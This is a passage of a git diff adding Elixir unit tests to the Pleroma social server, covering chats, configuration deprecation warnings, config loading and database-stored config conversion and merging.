"http://some/nonexisting/account") + end + + test "it creates a chat for a user and recipient" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id + end + + test "deleting the user deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(user) + + refute Chat.get_by_id(chat.id) + end + + test "deleting the recipient deletes the chat" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + + Repo.delete(other_user) + + refute Chat.get_by_id(chat.id) + end + + test "it returns and bumps a chat for a user and recipient if it already exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + end + + test "it returns a chat for a user and recipient if it already exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + {:ok, chat_two} = Chat.get_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + end + + test "a returning chat will have an updated `update_at` field" do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.bump_or_create(user.id, other_user.ap_id) + :timer.sleep(1500) + {:ok, chat_two} = Chat.bump_or_create(user.id, other_user.ap_id) + + assert chat.id == chat_two.id + assert chat.updated_at != chat_two.updated_at + end + end +end diff --git a/test/pleroma/config/deprecation_warnings_test.exs b/test/pleroma/config/deprecation_warnings_test.exs new file mode 100644 index 000000000..02ada1aab --- /dev/null +++ b/test/pleroma/config/deprecation_warnings_test.exs @@ -0,0 +1,140 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.DeprecationWarningsTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + import ExUnit.CaptureLog + + alias Pleroma.Config + alias Pleroma.Config.DeprecationWarnings + + test "check_old_mrf_config/0" do + clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) + clear_config([:instance, :mrf_transparency], true) + clear_config([:instance, :mrf_transparency_exclusions], []) + + assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ + """ + !!!DEPRECATION WARNING!!! + Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: + + * `config :pleroma, :instance, rewrite_policy` is now `config :pleroma, :mrf, policies` + * `config :pleroma, :instance, mrf_transparency` is now `config :pleroma, :mrf, transparency` + * `config :pleroma, :instance, mrf_transparency_exclusions` is now `config :pleroma, :mrf, transparency_exclusions` + """ + end + + test "move_namespace_and_warn/2" do + old_group1 = [:group, :key] + old_group2 = [:group, :key2] + old_group3 = [:group, :key3] + + new_group1 = [:another_group, :key4] + new_group2 = [:another_group, :key5] + new_group3 = [:another_group, :key6] + + clear_config(old_group1, 1) + clear_config(old_group2, 2) + clear_config(old_group3, 3) + + clear_config(new_group1) + clear_config(new_group2) + clear_config(new_group3) + + config_map = [ + {old_group1, new_group1, "\n error :key"}, + {old_group2, new_group2, "\n error :key2"}, + {old_group3, new_group3, "\n error :key3"} + ] + + assert capture_log(fn -> + DeprecationWarnings.move_namespace_and_warn( + config_map, + "Warning preface" + ) + end) =~ "Warning preface\n error :key\n error :key2\n error :key3" + + assert Config.get(new_group1) == 1 + assert Config.get(new_group2) == 2 + assert Config.get(new_group3) == 3 + end + + test "check_media_proxy_whitelist_config/0" do + clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) + + assert capture_log(fn -> + DeprecationWarnings.check_media_proxy_whitelist_config() + end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" + end + + test "check_welcome_message_config/0" do + clear_config([:instance, :welcome_user_nickname], "LainChan") + + assert capture_log(fn -> + DeprecationWarnings.check_welcome_message_config() + end) =~ "Your config is using the old namespace for Welcome messages configuration." + end + + test "check_hellthread_threshold/0" do + clear_config([:mrf_hellthread, :threshold], 16) + + assert capture_log(fn -> + DeprecationWarnings.check_hellthread_threshold() + end) =~ "You are using the old configuration mechanism for the hellthread filter." + end + + test "check_activity_expiration_config/0" do + clear_config([Pleroma.ActivityExpiration, :enabled], true) + + assert capture_log(fn -> + DeprecationWarnings.check_activity_expiration_config() + end) =~ "Your config is using old namespace for activity expiration configuration." + end + + describe "check_gun_pool_options/0" do + test "await_up_timeout" do + config = Config.get(:connections_pool) + clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." + end + + test "pool timeout" do + old_config = [ + federation: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + media: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + upload: [ + size: 25, + max_waiting: 5, + timeout: 15_000 + ], + default: [ + size: 10, + max_waiting: 2, + timeout: 5_000 + ] + ] + + clear_config(:pools, old_config) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" + end + end +end diff --git a/test/pleroma/config/holder_test.exs b/test/pleroma/config/holder_test.exs new file mode 100644 index 000000000..abcaa27dd --- /dev/null +++ b/test/pleroma/config/holder_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.HolderTest do + use ExUnit.Case, async: true + + alias Pleroma.Config.Holder + + test "default_config/0" do + config = Holder.default_config() + assert config[:pleroma][Pleroma.Uploaders.Local][:uploads] == "test/uploads" + + refute config[:pleroma][Pleroma.Repo] + refute config[:pleroma][Pleroma.Web.Endpoint] + refute config[:pleroma][:env] + refute config[:pleroma][:configurable_from_database] + refute config[:pleroma][:database] + refute config[:phoenix][:serve_endpoints] + refute config[:tesla][:adapter] + end + + test "default_config/1" do + pleroma_config = Holder.default_config(:pleroma) + assert pleroma_config[Pleroma.Uploaders.Local][:uploads] == "test/uploads" + end + + test "default_config/2" do + assert Holder.default_config(:pleroma, Pleroma.Uploaders.Local) == [uploads: "test/uploads"] + end +end diff --git a/test/pleroma/config/loader_test.exs b/test/pleroma/config/loader_test.exs new file mode 100644 index 000000000..607572f4e --- /dev/null +++ b/test/pleroma/config/loader_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.LoaderTest do + use ExUnit.Case, async: true + + alias Pleroma.Config.Loader + + test "read/1" do + config = Loader.read("test/fixtures/config/temp.secret.exs") + assert config[:pleroma][:first_setting][:key] == "value" + assert config[:pleroma][:first_setting][:key2] == [Pleroma.Repo] + assert config[:quack][:level] == :info + end + + test "filter_group/2" do + assert Loader.filter_group(:pleroma, + pleroma: [ + {Pleroma.Repo, [a: 1, b: 2]}, + {Pleroma.Upload, [a: 1, b: 2]}, + {Pleroma.Web.Endpoint, []}, + env: :test, + configurable_from_database: true, + database: [] + ] + ) == [{Pleroma.Upload, [a: 1, b: 2]}] + end +end diff --git a/test/pleroma/config/transfer_task_test.exs b/test/pleroma/config/transfer_task_test.exs new file mode 100644 index 000000000..f53829e09 --- /dev/null +++ b/test/pleroma/config/transfer_task_test.exs @@ -0,0 +1,120 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Config.TransferTaskTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Config.TransferTask + + setup do: clear_config(:configurable_from_database, true) + + test "transfer config values from db to env" do + refute Application.get_env(:pleroma, :test_key) + refute Application.get_env(:idna, :test_key) + refute Application.get_env(:quack, :test_key) + refute Application.get_env(:postgrex, :test_key) + initial = Application.get_env(:logger, :level) + + insert(:config, key: :test_key, value: [live: 2, com: 3]) + insert(:config, group: :idna, key: :test_key, value: [live: 15, com: 35]) + insert(:config, group: :quack, key: :test_key, value: [:test_value1, :test_value2]) + insert(:config, group: :postgrex, key: :test_key, value: :value) + insert(:config, group: :logger, key: :level, value: :debug) + + TransferTask.start_link([]) + + assert Application.get_env(:pleroma, :test_key) == [live: 2, com: 3] + assert Application.get_env(:idna, :test_key) == [live: 15, com: 35] + assert Application.get_env(:quack, :test_key) == [:test_value1, :test_value2] + assert Application.get_env(:logger, :level) == :debug + assert Application.get_env(:postgrex, :test_key) == :value + + on_exit(fn -> + Application.delete_env(:pleroma, :test_key) + Application.delete_env(:idna, :test_key) + Application.delete_env(:quack, :test_key) + Application.delete_env(:postgrex, :test_key) + Application.put_env(:logger, :level, initial) + end) + end + + test "transfer config values for 1 group and some keys" do + level = Application.get_env(:quack, :level) + meta = Application.get_env(:quack, :meta) + + insert(:config, group: :quack, key: :level, value: :info) + insert(:config, group: :quack, key: :meta, value: [:none]) + + TransferTask.start_link([]) + + assert Application.get_env(:quack, :level) == :info + assert Application.get_env(:quack, :meta) == [:none] + default = Pleroma.Config.Holder.default_config(:quack, :webhook_url) + assert Application.get_env(:quack, :webhook_url) == default + + on_exit(fn -> + Application.put_env(:quack, :level, level) + Application.put_env(:quack, :meta, meta) + end) + end + + test "transfer config values with full subkey update" do + clear_config(:emoji) + clear_config(:assets) + + insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) + insert(:config, key: :assets, value: [mascots: [a: 1, b: 2]]) + + TransferTask.start_link([]) + + emoji_env = Application.get_env(:pleroma, :emoji) + assert emoji_env[:groups] == [a: 1, b: 2] + assets_env = Application.get_env(:pleroma, :assets) + assert assets_env[:mascots] == [a: 1, b: 2] + end + + describe "pleroma restart" do + setup do + on_exit(fn -> Restarter.Pleroma.refresh() end) + end + + test "don't restart if no reboot time settings were changed" do + clear_config(:emoji) + insert(:config, key: :emoji, value: [groups: [a: 1, b: 2]]) + + refute String.contains?( + capture_log(fn -> TransferTask.start_link([]) end), + "pleroma restarted" + ) + end + + test "on reboot time key" do + clear_config(:chat) + insert(:config, key: :chat, value: [enabled: false]) + assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" + end + + test "on reboot time subkey" do + clear_config(Pleroma.Captcha) + insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) + assert capture_log(fn -> TransferTask.start_link([]) end) =~ "pleroma restarted" + end + + test "don't restart pleroma on reboot time key and subkey if there is false flag" do + clear_config(:chat) + clear_config(Pleroma.Captcha) + + insert(:config, key: :chat, value: [enabled: false]) + insert(:config, key: Pleroma.Captcha, value: [seconds_valid: 60]) + + refute String.contains?( + capture_log(fn -> TransferTask.load_and_update_env([], false) end), + "pleroma restarted" + ) + end + end +end diff --git a/test/pleroma/config_db_test.exs b/test/pleroma/config_db_test.exs new file mode 100644 index 000000000..3895e2cda --- /dev/null +++ b/test/pleroma/config_db_test.exs @@ -0,0 +1,546 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConfigDBTest do + use Pleroma.DataCase, async: true + import Pleroma.Factory + alias Pleroma.ConfigDB + + test "get_by_params/1" do + config = insert(:config) + insert(:config) + + assert config == ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + + test "get_all_as_keyword/0" do + saved = insert(:config) + insert(:config, group: ":quack", key: ":level", value: :info) + insert(:config, group: ":quack", key: ":meta", value: [:none]) + + insert(:config, + group: ":quack", + key: ":webhook_url", + value: "https://hooks.slack.com/services/KEY/some_val" + ) + + config = ConfigDB.get_all_as_keyword() + + assert config[:pleroma] == [ + {saved.key, saved.value} + ] + + assert config[:quack][:level] == :info + assert config[:quack][:meta] == [:none] + assert config[:quack][:webhook_url] == "https://hooks.slack.com/services/KEY/some_val" + end + + describe "update_or_create/1" do + test "common" do + config = insert(:config) + key2 = :another_key + + params = [ + %{group: :pleroma, key: key2, value: "another_value"}, + %{group: :pleroma, key: config.key, value: [a: 1, b: 2, c: "new_value"]} + ] + + assert Repo.all(ConfigDB) |> length() == 1 + + Enum.each(params, &ConfigDB.update_or_create(&1)) + + assert Repo.all(ConfigDB) |> length() == 2 + + config1 = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + config2 = ConfigDB.get_by_params(%{group: :pleroma, key: key2}) + + assert config1.value == [a: 1, b: 2, c: "new_value"] + assert config2.value == "another_value" + end + + test "partial update" do + config = insert(:config, value: [key1: "val1", key2: :val2]) + + {:ok, config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: [key1: :val1, key3: :val3] + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert config.value == updated.value + assert updated.value[:key1] == :val1 + assert updated.value[:key2] == :val2 + assert updated.value[:key3] == :val3 + end + + test "deep merge" do + config = insert(:config, value: [key1: "val1", key2: [k1: :v1, k2: "v2"]]) + + {:ok, config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: [key1: :val1, key2: [k2: :v2, k3: :v3], key3: :val3] + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert config.value == updated.value + assert updated.value[:key1] == :val1 + assert updated.value[:key2] == [k1: :v1, k2: :v2, k3: :v3] + assert updated.value[:key3] == :val3 + end + + test "only full update for some keys" do + config1 = insert(:config, key: :ecto_repos, value: [repo: Pleroma.Repo]) + + config2 = insert(:config, group: :cors_plug, key: :max_age, value: 18) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config1.group, + key: config1.key, + value: [another_repo: [Pleroma.Repo]] + }) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config2.group, + key: config2.key, + value: 777 + }) + + updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) + updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) + + assert updated1.value == [another_repo: [Pleroma.Repo]] + assert updated2.value == 777 + end + + test "full update if value is not keyword" do + config = + insert(:config, + group: ":tesla", + key: ":adapter", + value: Tesla.Adapter.Hackney + ) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config.group, + key: config.key, + value: Tesla.Adapter.Httpc + }) + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert updated.value == Tesla.Adapter.Httpc + end + + test "only full update for some subkeys" do + config1 = + insert(:config, + key: ":emoji", + value: [groups: [a: 1, b: 2], key: [a: 1]] + ) + + config2 = + insert(:config, + key: ":assets", + value: [mascots: [a: 1, b: 2], key: [a: 1]] + ) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config1.group, + key: config1.key, + value: [groups: [c: 3, d: 4], key: [b: 2]] + }) + + {:ok, _config} = + ConfigDB.update_or_create(%{ + group: config2.group, + key: config2.key, + value: [mascots: [c: 3, d: 4], key: [b: 2]] + }) + + updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key}) + updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key}) + + assert updated1.value == [groups: [c: 3, d: 4], key: [a: 1, b: 2]] + assert updated2.value == [mascots: [c: 3, d: 4], key: [a: 1, b: 2]] + end + end + + describe "delete/1" do + test "error on deleting non existing setting" do + {:error, error} = ConfigDB.delete(%{group: ":pleroma", key: ":key"}) + assert error =~ "Config with params %{group: \":pleroma\", key: \":key\"} not found" + end + + test "full delete" do + config = insert(:config) + {:ok, deleted} = ConfigDB.delete(%{group: config.group, key: config.key}) + assert Ecto.get_meta(deleted, :state) == :deleted + refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + + test "partial subkeys delete" do + config = insert(:config, value: [groups: [a: 1, b: 2], key: [a: 1]]) + + {:ok, deleted} = + ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) + + assert Ecto.get_meta(deleted, :state) == :loaded + + assert deleted.value == [key: [a: 1]] + + updated = ConfigDB.get_by_params(%{group: config.group, key: config.key}) + + assert updated.value == deleted.value + end + + test "full delete if remaining value after subkeys deletion is empty list" do + config = insert(:config, value: [groups: [a: 1, b: 2]]) + + {:ok, deleted} = + ConfigDB.delete(%{group: config.group, key: config.key, subkeys: [":groups"]}) + + assert Ecto.get_meta(deleted, :state) == :deleted + + refute ConfigDB.get_by_params(%{group: config.group, key: config.key}) + end + end + + describe "to_elixir_types/1" do + test "string" do + assert ConfigDB.to_elixir_types("value as string") == "value as string" + end + + test "boolean" do + assert ConfigDB.to_elixir_types(false) == false + end + + test "nil" do + assert ConfigDB.to_elixir_types(nil) == nil + end + + test "integer" do + assert ConfigDB.to_elixir_types(150) == 150 + end + + test "atom" do + assert ConfigDB.to_elixir_types(":atom") == :atom + end + + test "ssl options" do + assert ConfigDB.to_elixir_types([":tlsv1", ":tlsv1.1", ":tlsv1.2"]) == [ + :tlsv1, + :"tlsv1.1", + :"tlsv1.2" + ] + end + + test "pleroma module" do + assert ConfigDB.to_elixir_types("Pleroma.Bookmark") == Pleroma.Bookmark + end + + test "pleroma string" do + assert ConfigDB.to_elixir_types("Pleroma") == "Pleroma" + end + + test "phoenix module" do + assert ConfigDB.to_elixir_types("Phoenix.Socket.V1.JSONSerializer") == + Phoenix.Socket.V1.JSONSerializer + end + + test "tesla module" do + assert ConfigDB.to_elixir_types("Tesla.Adapter.Hackney") == Tesla.Adapter.Hackney + end + + test "ExSyslogger module" do + assert ConfigDB.to_elixir_types("ExSyslogger") == ExSyslogger + end + + test "Quack.Logger module" do + assert ConfigDB.to_elixir_types("Quack.Logger") == Quack.Logger + end + + test "Swoosh.Adapters modules" do + assert ConfigDB.to_elixir_types("Swoosh.Adapters.SMTP") == Swoosh.Adapters.SMTP + assert ConfigDB.to_elixir_types("Swoosh.Adapters.AmazonSES") == Swoosh.Adapters.AmazonSES + end + + test "sigil" do + assert ConfigDB.to_elixir_types("~r[comp[lL][aA][iI][nN]er]") == ~r/comp[lL][aA][iI][nN]er/ + end + + test "link sigil" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/") == ~r/https:\/\/example.com/ + end + + test "link sigil with um modifiers" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/um") == + ~r/https:\/\/example.com/um + end + + test "link sigil with i modifier" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/i") == ~r/https:\/\/example.com/i + end + + test "link sigil with s modifier" do + assert ConfigDB.to_elixir_types("~r/https:\/\/example.com/s") == ~r/https:\/\/example.com/s + end + + test "raise if valid delimiter not found" do + assert_raise ArgumentError, "valid delimiter for Regex expression not found", fn -> + ConfigDB.to_elixir_types("~r/https://[]{}<>\"'()|example.com/s") + end + end + + test "2 child tuple" do + assert ConfigDB.to_elixir_types(%{"tuple" => ["v1", ":v2"]}) == {"v1", :v2} + end + + test "proxy tuple with localhost" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}] + }) == {:proxy_url, {:socks5, :localhost, 1234}} + end + + test "proxy tuple with domain" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}] + }) == {:proxy_url, {:socks5, 'domain.com', 1234}} + end + + test "proxy tuple with ip" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}] + }) == {:proxy_url, {:socks5, {127, 0, 0, 1}, 1234}} + end + + test "tuple with n childs" do + assert ConfigDB.to_elixir_types(%{ + "tuple" => [ + "v1", + ":v2", + "Pleroma.Bookmark", + 150, + false, + "Phoenix.Socket.V1.JSONSerializer" + ] + }) == {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer} + end + + test "map with string key" do + assert ConfigDB.to_elixir_types(%{"key" => "value"}) == %{"key" => "value"} + end + + test "map with atom key" do + assert ConfigDB.to_elixir_types(%{":key" => "value"}) == %{key: "value"} + end + + test "list of strings" do + assert ConfigDB.to_elixir_types(["v1", "v2", "v3"]) == ["v1", "v2", "v3"] + end + + test "list of modules" do + assert ConfigDB.to_elixir_types(["Pleroma.Repo", "Pleroma.Activity"]) == [ + Pleroma.Repo, + Pleroma.Activity + ] + end + + test "list of atoms" do + assert ConfigDB.to_elixir_types([":v1", ":v2", ":v3"]) == [:v1, :v2, :v3] + end + + test "list of mixed values" do + assert ConfigDB.to_elixir_types([ + "v1", + ":v2", + "Pleroma.Repo", + "Phoenix.Socket.V1.JSONSerializer", + 15, + false + ]) == [ + "v1", + :v2, + Pleroma.Repo, + Phoenix.Socket.V1.JSONSerializer, + 15, + false + ] + end + + test "simple keyword" do + assert ConfigDB.to_elixir_types([%{"tuple" => [":key", "value"]}]) == [key: "value"] + end + + test "keyword" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":types", "Pleroma.PostgresTypes"]}, + %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]}, + %{"tuple" => [":migration_lock", nil]}, + %{"tuple" => [":key1", 150]}, + %{"tuple" => [":key2", "string"]} + ]) == [ + types: Pleroma.PostgresTypes, + telemetry_event: [Pleroma.Repo.Instrumenter], + migration_lock: nil, + key1: 150, + key2: "string" + ] + end + + test "trandformed keyword" do + assert ConfigDB.to_elixir_types(a: 1, b: 2, c: "string") == [a: 1, b: 2, c: "string"] + end + + test "complex keyword with nested mixed childs" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]}, + %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]}, + %{"tuple" => [":link_name", true]}, + %{"tuple" => [":proxy_remote", false]}, + %{"tuple" => [":common_map", %{":key" => "value"}]}, + %{ + "tuple" => [ + ":proxy_opts", + [ + %{"tuple" => [":redirect_on_failure", false]}, + %{"tuple" => [":max_body_length", 1_048_576]}, + %{ + "tuple" => [ + ":http", + [ + %{"tuple" => [":follow_redirect", true]}, + %{"tuple" => [":pool", ":upload"]} + ] + ] + } + ] + ] + } + ]) == [ + uploader: Pleroma.Uploaders.Local, + filters: [Pleroma.Upload.Filter.Dedupe], + link_name: true, + proxy_remote: false, + common_map: %{key: "value"}, + proxy_opts: [ + redirect_on_failure: false, + max_body_length: 1_048_576, + http: [ + follow_redirect: true, + pool: :upload + ] + ] + ] + end + + test "common keyword" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":level", ":warn"]}, + %{"tuple" => [":meta", [":all"]]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":val", nil]}, + %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]} + ]) == [ + level: :warn, + meta: [:all], + path: "", + val: nil, + webhook_url: "https://hooks.slack.com/services/YOUR-KEY-HERE" + ] + end + + test "complex keyword with sigil" do + assert ConfigDB.to_elixir_types([ + %{"tuple" => [":federated_timeline_removal", []]}, + %{"tuple" => [":reject", ["~r/comp[lL][aA][iI][nN]er/"]]}, + %{"tuple" => [":replace", []]} + ]) == [ + federated_timeline_removal: [], + reject: [~r/comp[lL][aA][iI][nN]er/], + replace: [] + ] + end + + test "complex keyword with tuples with more than 2 values" do + assert ConfigDB.to_elixir_types([ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key1", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ]) == [ + http: [ + key1: [ + {:_, + [ + {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, + {"/websocket", Phoenix.Endpoint.CowboyWebSocket, + {Phoenix.Transports.WebSocket, + {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, []}}}, + {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}} + ]} + ] + ] + ] + end + end +end diff --git a/test/pleroma/config_test.exs b/test/pleroma/config_test.exs new file mode 100644 index 000000000..1556e4237 --- /dev/null +++ b/test/pleroma/config_test.exs @@ -0,0 +1,139 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ConfigTest do + use ExUnit.Case + + test "get/1 with an atom" do + assert Pleroma.Config.get(:instance) == Application.get_env(:pleroma, :instance) + assert Pleroma.Config.get(:azertyuiop) == nil + assert Pleroma.Config.get(:azertyuiop, true) == true + end + + test "get/1 with a list of keys" do + assert Pleroma.Config.get([:instance, :public]) == + Keyword.get(Application.get_env(:pleroma, :instance), :public) + + assert Pleroma.Config.get([Pleroma.Web.Endpoint, :render_errors, :view]) == + get_in( + Application.get_env( + :pleroma, + Pleroma.Web.Endpoint + ), + [:render_errors, :view] + ) + + assert Pleroma.Config.get([:azerty, :uiop]) == nil + assert Pleroma.Config.get([:azerty, :uiop], true) == true + end + + describe "nil values" do + setup do + Pleroma.Config.put(:lorem, nil) + Pleroma.Config.put(:ipsum, %{dolor: [sit: nil]}) + Pleroma.Config.put(:dolor, sit: %{amet: nil}) + + on_exit(fn -> Enum.each(~w(lorem ipsum dolor)a, &Pleroma.Config.delete/1) end) + end + + test "get/1 with an atom for nil value" do + assert Pleroma.Config.get(:lorem) == nil + end + + test "get/2 with an atom for nil value" do + assert Pleroma.Config.get(:lorem, true) == nil + end + + test "get/1 with a list of keys for nil value" do + assert Pleroma.Config.get([:ipsum, :dolor, :sit]) == nil + assert Pleroma.Config.get([:dolor, :sit, :amet]) == nil + end + + test "get/2 with a list of keys for nil value" do + assert Pleroma.Config.get([:ipsum, :dolor, :sit], true) == nil + assert Pleroma.Config.get([:dolor, :sit, :amet], true) == nil + end + end + + test "get/1 when value is false" do + Pleroma.Config.put([:instance, :false_test], false) + Pleroma.Config.put([:instance, :nested], []) + Pleroma.Config.put([:instance, :nested, :false_test], false) + + assert Pleroma.Config.get([:instance, :false_test]) == false + assert Pleroma.Config.get([:instance, :nested, :false_test]) == false + end + + test "get!/1" do + assert Pleroma.Config.get!(:instance) == Application.get_env(:pleroma, :instance) + + assert Pleroma.Config.get!([:instance, :public]) == + Keyword.get(Application.get_env(:pleroma, :instance), :public) + + assert_raise(Pleroma.Config.Error, fn -> + Pleroma.Config.get!(:azertyuiop) + end) + + assert_raise(Pleroma.Config.Error, fn -> + Pleroma.Config.get!([:azerty, :uiop]) + end) + end + + test "get!/1 when value is false" do + Pleroma.Config.put([:instance, :false_test], false) + Pleroma.Config.put([:instance, :nested], []) + Pleroma.Config.put([:instance, :nested, :false_test], false) + + assert Pleroma.Config.get!([:instance, :false_test]) == false + assert Pleroma.Config.get!([:instance, :nested, :false_test]) == false + end + + test "put/2 with a key" do + Pleroma.Config.put(:config_test, true) + + assert Pleroma.Config.get(:config_test) == true + end + + test "put/2 with a list of keys" do + Pleroma.Config.put([:instance, :config_test], true) + Pleroma.Config.put([:instance, :config_nested_test], []) + Pleroma.Config.put([:instance, :config_nested_test, :x], true) + + assert Pleroma.Config.get([:instance, :config_test]) == true + assert Pleroma.Config.get([:instance, :config_nested_test, :x]) == true + end + + test "delete/1 with a key" do + Pleroma.Config.put([:delete_me], :delete_me) + Pleroma.Config.delete([:delete_me]) + assert Pleroma.Config.get([:delete_me]) == nil + end + + test "delete/2 with a list of keys" do + Pleroma.Config.put([:delete_me], hello: "world", world: "Hello") + Pleroma.Config.delete([:delete_me, :world]) + assert Pleroma.Config.get([:delete_me]) == [hello: "world"] + Pleroma.Config.put([:delete_me, :delete_me], hello: "world", world: "Hello") + Pleroma.Config.delete([:delete_me, :delete_me, :world]) + assert Pleroma.Config.get([:delete_me, :delete_me]) == [hello: "world"] + + assert Pleroma.Config.delete([:this_key_does_not_exist]) + assert Pleroma.Config.delete([:non, :existing, :key]) + end + + test "fetch/1" do + Pleroma.Config.put([:lorem], :ipsum) + Pleroma.Config.put([:ipsum], dolor: :sit) + + assert Pleroma.Config.fetch([:lorem]) == {:ok, :ipsum} + assert Pleroma.Config.fetch(:lorem) == {:ok, :ipsum} + assert Pleroma.Config.fetch([:ipsum, :dolor]) == {:ok, :sit} + assert Pleroma.Config.fetch([:lorem, :ipsum]) == :error + assert Pleroma.Config.fetch([:loremipsum]) == :error + assert Pleroma.Config.fetch(:loremipsum) == :error + + Pleroma.Config.delete([:lorem]) + Pleroma.Config.delete([:ipsum]) + end +end diff --git a/test/pleroma/conversation/participation_test.exs b/test/pleroma/conversation/participation_test.exs new file mode 100644 index 000000000..59a1b6492 --- /dev/null +++ b/test/pleroma/conversation/participation_test.exs @@ -0,0 +1,363 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Conversation.ParticipationTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Conversation + alias Pleroma.Conversation.Participation + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + test "getting a participation will also preload things" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hey @#{other_user.nickname}.", visibility: "direct"}) + + 